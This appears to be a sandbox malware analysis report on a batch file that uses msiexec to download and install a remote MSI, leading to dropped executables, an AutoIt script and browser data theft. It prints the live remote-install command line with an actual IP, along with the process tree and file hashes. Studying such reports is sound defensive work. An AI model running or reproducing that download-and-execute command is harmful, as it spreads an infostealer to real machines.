Analysis

  • user interaction
    yes
  • max time kernel
    110s
  • max time network
    114s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/08/2026, 22:14

General

  • Target
    actualmalware.bat
  • Size 58B
  • Sample260824-15vsksfc53
  • SHA256 28338f54ec90e30ff13908906ca079d8da6b7a1c48095dbfa613198929a43848
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Downloads MZ/PE file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Use of msiexec (install) with remote resource 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\actualmalware.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2820
    • C:\Windows\system32\msiexec.exe
      msiexec.exe /i http://192.177.26.199/fvdvr8anws/04hmce.msi
      2⤵
      • Use of msiexec (install) with remote resource
      • Badlisted process makes network request
      • Enumerates connected drives
      • Drops file in Windows directory
      • Event Triggered Execution: Installer Packages
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:4268
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4384
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:468
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\SysWOW64\..\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" "C:\Users\Admin\AppData\Local\MyApp\11.dll"
      2⤵
      • Downloads MZ/PE file
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4360
      • C:\Users\Admin\rum75sy.exe
        "C:\Users\Admin\rum75sy.exe"
        3⤵
        • Downloads MZ/PE file
        • Executes dropped EXE
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        PID:4228
      • C:\Users\Admin\nuktr.exe
        "C:\Users\Admin\nuktr.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4164
        • C:\Windows\SYSTEM32\ipconfig.exe
          ipconfig.exe /uyewurt27638478yhdjkshf
          4⤵
          • Gathers network information
          PID:2468
        • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
          C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Los.a3x
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:6000
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            5⤵
              PID:5040
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious use of AdjustPrivilegeToken
      PID:2568
    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
      1⤵
        PID:5496
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:1684

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              e5961fc.rbs

              • Path C:\Config.Msi\e5961fc.rbs
              • Size 8KB
              • SHA256 7bed7a40e315faa52853b122f68987a9149be2ce66fd31a08a254d27f14437d9
              • MD5 SHA1 SHA512 SSDEEP TLSH

              DE9862F4-272B-9A88-877C-03D09F845B98.txt

              • Path C:\ProgramData\DE9862F4-272B-9A88-877C-03D09F845B98.txt
              • Size 64B
              • SHA256 03c9db9762ac6e274fc595c382ead763b11a5fc8fc7b1b4920fb3afd72d027a2
              • MD5 SHA1 SHA512 TLSH

              11.dll

              • Path C:\Users\Admin\AppData\Local\MyApp\11.dll
              • Size 5KB
              • SHA256 4c1be080b2cea0f4a4903e0186e9b12355f80622dec5b9a0f6c774c86e4148f3
              • MD5 SHA1 SHA512 SSDEEP TLSH

              AutoIt3.exe

              • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
              • Size 925KB
              • SHA256 98e4f904f7de1644e519d09371b8afcbbf40ff3bd56d76ce4df48479a4ab884b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Los.a3x

              • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Los.a3x
              • Size 1.1MB
              • SHA256 839d82fb135110518ee867d0363ae5b9056bd08c225e6793e64e8910c1fced06
              • MD5 SHA1 SHA512 SSDEEP TLSH

              nuktr.exe

              • Path C:\Users\Admin\nuktr.exe
              • Size 1.7MB
              • SHA256 4b736b3d8a0faf5eb0c40aa9231584c5cfc0483e2ba144e95e0441804d8ee52e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              rum75sy.exe

              • Path C:\Users\Admin\rum75sy.exe
              • Size 261KB
              • SHA256 1f2e0659d43d9bf50aebbcfa060f4a2245054f7d1ca95d51e7f177d334e61f6c
              • MD5 SHA1 SHA512 SSDEEP TLSH

              MSI141B.tmp

              • Path C:\Windows\Installer\MSI141B.tmp
              • Size 32KB
              • SHA256 fed658ab67bacddba4ca899d6eacf8b08395371f2371de2fc6a8550846dfd366
              • MD5 SHA1 SHA512 SSDEEP TLSH

              metadata-2

              • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
              • Size 26.1MB
              • SHA256 816369cc82db11b115c1f58d442271f60dafb28fe719b21a53aa4ab549f92059
              • MD5 SHA1 SHA512 SSDEEP TLSH

              {5b3b7239-cd35-4d92-ae78-bea899340f32}_OnDiskSnapshotProp

              • Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{5b3b7239-cd35-4d92-ae78-bea899340f32}_OnDiskSnapshotProp
              • Size 6KB
              • SHA256 ad2d827bb826bd83b7c3d8bfc03d410fca3fd0f3267f34c111d377c220ce57f2
              • MD5 SHA1 SHA512 SSDEEP TLSH

              memory/4228-90-0x0000000460000000-0x0000000460257000-memory.dmp

              memory/4228-48-0x0000000460000000-0x0000000460257000-memory.dmp

              memory/4228-89-0x0000000460000000-0x0000000460257000-memory.dmp

              memory/4228-91-0x00007FF7F0A00000-0x00007FF7F0A43000-memory.dmp

              memory/4360-68-0x0000000005A50000-0x0000000005A62000-memory.dmp

              memory/4360-69-0x0000000005AB0000-0x0000000005AEC000-memory.dmp

              memory/4360-19-0x00000000052F0000-0x00000000052F8000-memory.dmp

              memory/4360-15-0x00000000052C0000-0x00000000052DA000-memory.dmp

              memory/4360-14-0x0000000000880000-0x000000000088C000-memory.dmp

              memory/4384-23-0x0000027A82550000-0x0000027A82EF4000-memory.dmp

              memory/6000-107-0x0000000005F40000-0x0000000005FF3000-memory.dmp

              memory/6000-101-0x0000000005F40000-0x0000000005FF3000-memory.dmp

              memory/6000-111-0x0000000005F40000-0x0000000005FF3000-memory.dmp

              memory/6000-94-0x0000000005F40000-0x0000000005FF3000-memory.dmp

              memory/6000-110-0x0000000005F40000-0x0000000005FF3000-memory.dmp

              memory/6000-109-0x0000000005F40000-0x0000000005FF3000-memory.dmp

              memory/6000-112-0x0000000005F40000-0x0000000005FF3000-memory.dmp

              memory/6000-108-0x0000000005F40000-0x0000000005FF3000-memory.dmp

              memory/6000-104-0x0000000005F40000-0x0000000005FF3000-memory.dmp

              memory/6000-106-0x0000000005F40000-0x0000000005FF3000-memory.dmp

              memory/6000-105-0x0000000005F40000-0x0000000005FF3000-memory.dmp

              memory/6000-103-0x0000000005F40000-0x0000000005FF3000-memory.dmp

              memory/6000-102-0x0000000005F40000-0x0000000005FF3000-memory.dmp

              memory/6000-100-0x0000000005F40000-0x0000000005FF3000-memory.dmp

              memory/6000-93-0x0000000002140000-0x0000000002141000-memory.dmp

              memory/6000-125-0x0000000007C80000-0x0000000007D47000-memory.dmp

              memory/6000-126-0x0000000008410000-0x00000000087B1000-memory.dmp

              memory/6000-127-0x0000000007E80000-0x0000000007F27000-memory.dmp